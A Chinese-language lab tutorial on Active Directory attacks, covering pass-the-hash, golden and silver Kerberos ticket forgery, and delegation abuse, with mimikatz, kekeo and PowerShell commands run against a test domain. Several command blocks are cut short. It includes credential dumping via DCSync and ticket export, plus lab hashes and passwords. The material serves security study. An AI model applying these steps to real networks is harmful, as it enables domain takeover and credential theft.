PTH与PTT攻击
PTH攻击
只能是域管理组内的用户的hash可以进行hash传递攻击。
前提条件:
1 | 1.域内任何一台主机的本地管理员权限。 |
在域环境中,当我们获得了域管理员组内用户的NTLM哈希值,我们可以使用域内的一台主机用mimikatz
对域内的任何一台机器(包括域控)进行哈希传递攻击。执行完命令后,会弹出CMD窗口,在弹出的CMD窗口我们可以访问域内任何一台机器。
测试
1 | 测试环境: |
1.在work-sever上先进行信息搜集,可以知道域管理员有哪些。
2.在域控机器上可以进行信息搜集,找到管理员账户admin01的ntlm-hash
3.重新回到work-server上,输入以下命令
1 | privilege::debug |
之后会弹出一个新的cmd框,可以查询域控信息
PTT攻击
黄金票据
前提条件:
1 | 1.伪造的域用户名 |
Mimikatz
获取krbtgt hash:
1 | lsadump::dcsync /domain:lab.com /all /csv |
1 | kerberos::golden /user:administrator /domain:lab.com /sid:S-1-5-21- |
1 | kerberos::golden /user:administrator /domain:lab.com /sid:S-1-5-21- |
ps:以上两步的区别只是在于一步就完成创造票据和注入,或者分开完成创造票据和注入。
1 | #删除票据 |
测试
1 | 测试环境: |
为了召唤神龙,我们首先需要集齐以下条件:
1 | 1.伪造的域用户名 |
1.伪造的域用户名:可以随意填写
2.域名 lab.com
3.域sid:S-1-5-21- 1799307087-3941118632-1964125693
可以使用whoami /all查询
4.krbtgt hash:392ffcfeacc6914f5a2e4d3f7893457d
键入命令:
1 | kerberos::golden /user:solkatt /domain:lab.com /sid:S-1-5-21- |
接下来可以查询了
1 | kerberos::list 查询票据 |
白银票据
前提条件:
1 | 1.要伪造的域用户 |
测试
这一次的神龙我们应该如此集:
1.伪造的域用户名:可以随意填写
2.域名 lab.com
3.域sid:S-1-5-21- 1799307087-3941118632-1964125693
4.目标服务器的FQDN dc01.lab.com(即域控服务器)
5.利用的服务(这里选择cifs)
6.服务账号的ntlm-hash
在mimikatz中输入以下命令:
1 | kerberos::golden /domain:lab.com /sid:S-1-5-21-1799307087-3941118632- |
测试查询成功!
ps:黄金票据由krbtgt的Hash加密
白银由服务账号(通常为计算机账户)HASH加密
黄金票据的利用过程需要访问域控
委派攻击
域委派:将域内用户的权限委派给服务账号,使服务账号能够以用户权限访问域内的其他服务。
委派前提:需要被委派的用户未设置不允许被委派属性。
下面的情况不能进行委派:
经大佬提醒这里可以通过CVE-2020-17049
绕过,但是这是后面的了。
在域中,只有主机账户
和服务账号
才具有委派属性
主机账号就是AD活动目录中Computers中的计算机,也可以被称为机器账号(一个普通域用户默认最多可以创建十个主机账号)。
服务账号(service Account)是域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域。例如SQLServer服务账号。也可以将域用户通过注册SPN变为服务账号。
1 | Import-Module .\PowerView.ps1; |
1.非约束性委派
非约束性委派(Unconstrained Delegation):对于非约束性委派(Unconstrained Delegation),服务账户可以获取被委任用户的TGT,并将TGT缓存到LSASS进程中,从而服务账户可以使用该TGT,用来模拟该用户的身份访问任意服务。
ps:设置非约束性委派需要seEnableDelegation
特权(域管理员)。
非约束性委派过程:
1 | 1.在server上配置了非约束性委派。 |
当服务账号被设置为非约束性委派时,用户userAccountControl
属性会包含为TRUSTED_FOR_DELEGATION
。
当设置为约束性委派时,用户userAccountControl
属性包含TRUSTED_TO_AUTHLFOR_DELEGATION
。
测试
1 | 实验环境: |
1.使用admin01账户登录win2008,并在win2008上访问work-server上的cifs服务
2.在work-server上使用mimikatz抓取admin01的tgt票据信息
1 | sekurlsa::tickets /export |
会在根目录下生成许多tgt票据
这里使用[0;1382a4]-2-0-60a10000-admin01@krbtgt-LAB.COM.kirbi
,但是为了方便,重命名为admin01.kirbi
3.使用mimikatz将admin01的tgt加载进入内存
1 | kerberos::ptt admin01.kirbi |
2.约束性委派
由于非约束委派的不安全性,微软在windows server 2003
中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U
,其中S4U
支持两个子协议:Service for User to Self (S4U2Self)
和 Service for User to Proxy (S4U2proxy)
,这两个扩展都允许服务代表用户从KDC请求票证。S4U2self
可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy
可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy
扩展的范围。
约束性委派过程:
1 | 1.在server上配置了约束性委派:服务A配置了到服务B的约束性委派 |
测试
1 | 实验环境: |
设置约束性委派:可以由user02提供委派凭据给dc01的cifs服务。
1.使用kekoo以服务账号user02的身份获取可转发TGT
1 | tgt::ask /user:user02 /domain:lab.com /password:Test.123 |
/user:服务用户的服务名
/password:服务用户的明文密码
/domain:所在域名
生成TGT为TGT_user02@LAB.COM_krbtgt~lab.com@LAB.COM.kirbi
2.由于存在委派,可以使用服务(user02)的TGT代替用户申请可转发的ST1,并且使用ST1向kdc代替administrator申请访问服务的ST2
1 | Tgs::s4u /tgt:TGT_user02@LAB.COM_krbtgt~lab.com@LAB.COM.kirbi |
生成ST2:
3.使用mimikatz加载ST2:
1 | kerberos::ptt |
3.基于资源的约束性委派
利用条件:
1 | 1.一个机器账户(具有SPN的账号) |
前提:在服务2上配置服务1到服务2的基于资源的约束性委派(机器⾃身有权限可配置)
- 服务1 使⽤⾃⼰的账号密码向KDC申请⼀个可转发的TGT票据。
- 服务1 代表⽤户申请⼀个获得针对服务1⾃身的ST服务票据。这⼀步就是S4U2Self,这⼀ 步区别于传统的约束性委派,在S4u2Self⾥⾯提到,返回的ST票据可转发的⼀个条件是 服务1配置了传统的约束委派。KDC会检查服务1的TrustedToAuthForDelegat ion位和 msDS-A11owedToDelegater。这个字段。这⾥由于基于资源的约束委派,是在服务2上 配置的,服务2的msDS-AllowedToActonBehalfofotherIdentity属性配置了服务1的SPN, 服务1并没有配置TrustedroAuthForDelegation 位和msDS-AllowedroDelegateTo字段。因 此返回的ST票据是不可转发的(在基于资源的委派中,不可转发的ST可以在S4U2Proxy 使⽤)。
- 服务1可以使⽤来⾃⽤户的授权,然后将该不可转发的ST票据(放在Addt ionTicket⾥⾯)向 KDC请求访问服务2的可转发的ST服务票据。
测试
1.创建机器账户
1 | New-MachineAccount -MachineAccount machtest1 -Password $(ConvertToSecureString "root" -AsPlainText -Force) |
2.使该机器账户拥有msDS-AllowedToActOnBehalfOfOtherIdentity
权限。
配置权限命令:
1 | import-module .\Microsoft.ActiveDirectory.Management.dll |
验证修改结果
1 | Get-DomainComputer dc01 -Properties msdsallowedtoactonbehalfofotheridentity |
接下来就可以通过基于资源的约束委派去攻击目标主机了。